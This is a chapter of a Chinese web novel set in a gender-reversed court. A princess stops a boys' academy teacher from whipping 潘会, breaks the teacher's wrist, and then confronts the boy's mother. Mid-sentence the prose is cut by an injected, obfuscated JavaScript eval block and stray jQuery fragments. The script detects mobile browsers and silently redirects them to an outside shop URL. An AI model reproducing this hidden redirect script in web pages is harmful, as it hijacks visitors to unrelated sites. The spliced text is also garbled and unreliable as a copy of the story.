砚台正中一人额头,登时鲜血直流,惨叫连连。
潘会僵在原地,吓的脸色惨白,耳中嗡嗡作响,几乎听不见任何声音。
他看见混乱的人影扭曲成一团,感觉自己的双膝好似完全失去了知觉,连站立都困难。
“血!流血了!快、快去找医师!”
“快去禀报师长!潘会疯了!他要杀人!”
潘会盯着地上不断流出的黑红色鲜血,全身发冷,止不住哆嗦。
不知过了多久,他又看到方才那位师长快步出来,脸色铁青,指着他破口大骂。
至于究竟在骂什么,他一句也听不清,只能听到末了的一句:
“反了!真是反了天了!来人!快把这个不服管教的畜生给我捆起来!拖下去!拖到后院!将所有的学生都叫来!”
几名身材健硕的仆役应声上前,手里拿着麻绳,如地狱索命恶鬼。
潘会下意识后退一步,脊背撞上水缸,发现自己退无可退。
此刻,潘府书房内,潘瑞听着心腹禀告学堂内发生的一切,神色平静,甚至还淡定地吹了吹浮沫。
“主君,真的不去阻止吗,公子他……”女使于心不忍。
潘瑞这才放下茶盏,道:“不必。吃的苦上苦,方为人上人,若是这点委屈都受不了,日后如何成事?”
她顿了顿,又继续嘱咐:“时候差不多了,你去给七殿下递个消息。记住,要说得危急些,就说会儿快被人打死了。”
女使领会,躬身行礼退下。
今日琢玉学堂上的是乐业课,白瑛瑛把玩着手中一支通体莹润的玉笛,正琢磨着司马涟上次吹笛的潇洒姿态,试图模仿一二。
还未贴上,便见一名学堂女使急匆匆赶来,覆在她耳边禀报了些什么。
她转着笛子,扶额抱怨道:“还有完没完了?潘会这小子是扫把星转世吗?三天两头要被打死?”
“哎呀瑛瑛,要我说,那位潘公子就是个麻烦精,忒能惹事!你干脆别管他了!”冉珠星也觉得烦恼,劝道。
白瑛瑛蹙眉沉吟。她想起近日探子回报中提及潘会在学堂内的种种窘境,还是心软,她站起身,道:“算了,人总归是我劝进去的,不能真看着他被打死。我去去就回。”
*
学堂后院,潘会被两名身材健硕的男仆死死反剪双臂,脸贴着地,紧紧按在粗糙的砂石上,动弹不得。
那位师长倨傲地立于他身侧,手中紧握着一根乌黑的马鞭,正对着周围被召集来的学子们高声训话:“尔等既被送入此地,便当恪守男道,谨言慎行,修身养性!而今,我学堂竟出了此等大逆不道、顽劣不堪之徒!公然忤逆师长,恶意伤害同窗,性质恶劣,绝不能轻饶!今日,定要严加惩处,以儆效尤!”
潘会听着这番道貌岸然的斥责,感受到周遭投来各异的目光,心中屈辱万分,却什么也做不了,他干脆痛骂道:“我呸!你们这群虚伪的蛀虫!社会的渣滓!真正该被五马分尸的是你们!”
师长没料到他在如此境地还敢出言顶撞,气得胡子直哆嗦,脸色铁青,厉声道:“好!好得很!死到临头还敢嘴硬!我今日就让你好好见识见识,什么叫规矩,什么叫体统!”
说着,他高高扬起马鞭,鞭子破空声传来。
潘会咬紧牙关,想着无论如何也要硬抗住这一鞭。
然而,想象中的疼痛并未出现,耳边倒是传来“啪”的一声巨响。
白瑛瑛一手稳稳地攥住了那即将落下的鞭梢,另一只手握着的玉笛顺势抽出,狠厉地击在那师长持鞭的手腕上。
“呃啊!”师长痛呼一声,只觉腕骨欲裂,整条手臂酸麻,马鞭脱手而落。
他狼狈地摔下矮台,好不容易才稳住身形,捂住红肿的手腕,又惊又怒地瞪着眼前的不速之客:“你……你是何人?!竟敢擅闯男子学堂重地,还敢对师长动手!”
白瑛瑛随手将那夺下的马鞭扔在地上,负手而立,身姿挺拔:“我的名讳,你还不配问。”
原先死死按住潘会的那两名健硕男仆,见势不妙,松开手连滚带爬地躲到一边。
那师长脸色青一阵白一阵,强撑住场面,色厉内荏地喝道:“你……你可知我背后是谁?!”
白瑛瑛嗤笑一声,不屑道:“哦?那你便叫你主子亲自来我面前分说。”
她环视一圈,讥讽道:“怎么?你们这群人,以为借鉴了琢玉学堂的美名,就真把自己当回事了?
以为在此处关起门来作威作福,便算有了经世致用的学问?看看你们教的都是些什么东西!写的什么狗屁文章!灌输的什么混账道理!简直污人耳目,误人子弟!”
话音落地,白瑛瑛转过头,见潘会不知何时已蜷缩着挪到她身后,手还紧紧攥着她的衣角,生怕她跑了似的。她原本想拍拍他以示安抚,却发现他左颊有斑斑指痕。
白瑛瑛眉头倏地蹙紧,心中怒火更甚:“谁干的?”
潘会俨然一副吓傻的模样,只是瑟缩着摇摇头。
白瑛瑛不再问他,目光又扫过院内噤若寒蝉的男人们,提高了音调:“我问,他脸上的伤,是谁干的?”
院内还是安静无声,白瑛瑛冷笑一声:“不说是吧?行啊!那我便将你们这院里所有人的胳膊,一一卸下来。总有一个会说的。”
此言一出,有年纪小的最先扛不住压力,“噗通”一声软倒在地,讪讪地指着师长,哆嗦道:“是……是他!是师长动的手!不关我们的事啊!求大人明鉴,放过我们吧!”
有人出来指认,其余人立马跟着指认。
“对!是他!”
“就是他打的!我们都看见了!”
“求大人开恩,饶了我们吧!”
那师长气得浑身发抖,想从地上爬起来辩解,又被白瑛瑛的眼神定在原地。
“原来……是你啊。”她笑了笑,笑容阴森。
那道笑容还未敛去,她已欺身到那师长跟前,左手扣死其右肩,右手擒住其手腕,一拧一送。
“咔嚓”一声,骨节折断的声响分外明晰。
那师长没想到此人如此大胆,先是一愣,随即爆发出杀猪般的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006366|190383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嚎叫:“手!我的手!”
白瑛瑛却淡定非常,她手中玉笛轻轻拍了拍他的脸,俯身凑近那双涣散的眼:“现在你知道,什么叫规矩了吗?”
师长一句话都说不出口。
白瑛瑛根本不理会,几步跨上矮台,朝还在哆嗦的潘会伸出手:“还能走吗?”
潘会惊魂未定,顺着她的力道站起身,紧紧抱住她,窝在她怀里,哭的上气不接下气:“白瑛瑛!你怎么……你怎么才来啊!我……我以为我这次死定了!吓死我了……”
白瑛瑛看着他大鸟依人,僵硬地拍了拍他的后背安慰:“好了,没事了,我在呢。”
直到走出学堂大门,潘会仍旧死死搂着她的胳膊,不肯松开半分。
白瑛瑛无奈地拍了拍他的手背:“行了,松手。我让辛夷送你回潘府。”
“我不!”潘会连连摇头,“我不回去!我母亲……我母亲她这是要我的命!她把我送进那种地方!”
“那你想去哪?”
“你去哪儿我就去哪儿!”潘会抱得更紧了,好似一松手她就会消失,“你别想丢下我!”
白瑛瑛头疼,按了按太阳穴:“我要回琢玉学堂上课!那是女子学堂,你进不去。”
“不行!你不能走!我害怕!你一走他们肯定又来找我麻烦!”潘会耍赖似的抱紧她手臂,“白瑛瑛,你把我救出来的,你要对我负责!”
白瑛瑛知道此刻跟他讲不通道理,只能叫辛夷去学堂告假。
她眸光转冷,看着不远处潘府的方向:“走,我带你去潘府,我倒要亲自问问潘大人,这般‘栽培’儿子,究竟是何道理!”
潘会亦步亦趋地跟在她身边。
潘府大门敞开,好似猜到她会来兴师问罪一般。
潘瑞亲自来迎,看着两人交握的双手,嘴角不可抑制地勾了勾。
“殿下驾到,有失远迎,还望恕罪。”
“潘大人,本殿此次前来,只想问一句。”
潘瑞笑了笑,竖掌打断:“殿下不必多说,老身知道您所谓何事。”
潘会瑟缩着躲到白瑛瑛身后,扯着她的衣角,小声嗫嚅:“她、她就是想要我的命……”
潘瑞面色不变,从容应道:“殿下明鉴。老身送犬子入学,实指望他能修身养性,改掉往日顽劣。男子学堂规矩严些,也是为了他好。”
“好一个为他好!”白瑛瑛怒极反笑,“修身养性?潘大人可知那学堂师长当众鞭笞学子,同窗之间相互倾轧?令郎脸上这伤,便是拜您那‘好规矩’所赐!”
潘会也顺着他的话,撩开袖子衣领:“还有这些,这些,都是他们打的掐的!”
白瑛瑛看着他脖颈上的青紫与手上的血痕,心下懊悔。
她安排盯梢的人早就同她禀告过,可她一直没放在心上,以为只是玩笑。
潘瑞显然也没料到潘会受了这么重的伤,微微愣了愣。她撩袍跪地:“是老臣失察,让犬子受委屈了。但请殿下细想,若非殿下执意追查旧案,老臣又何须出此下策,将会儿送入学堂避祸?”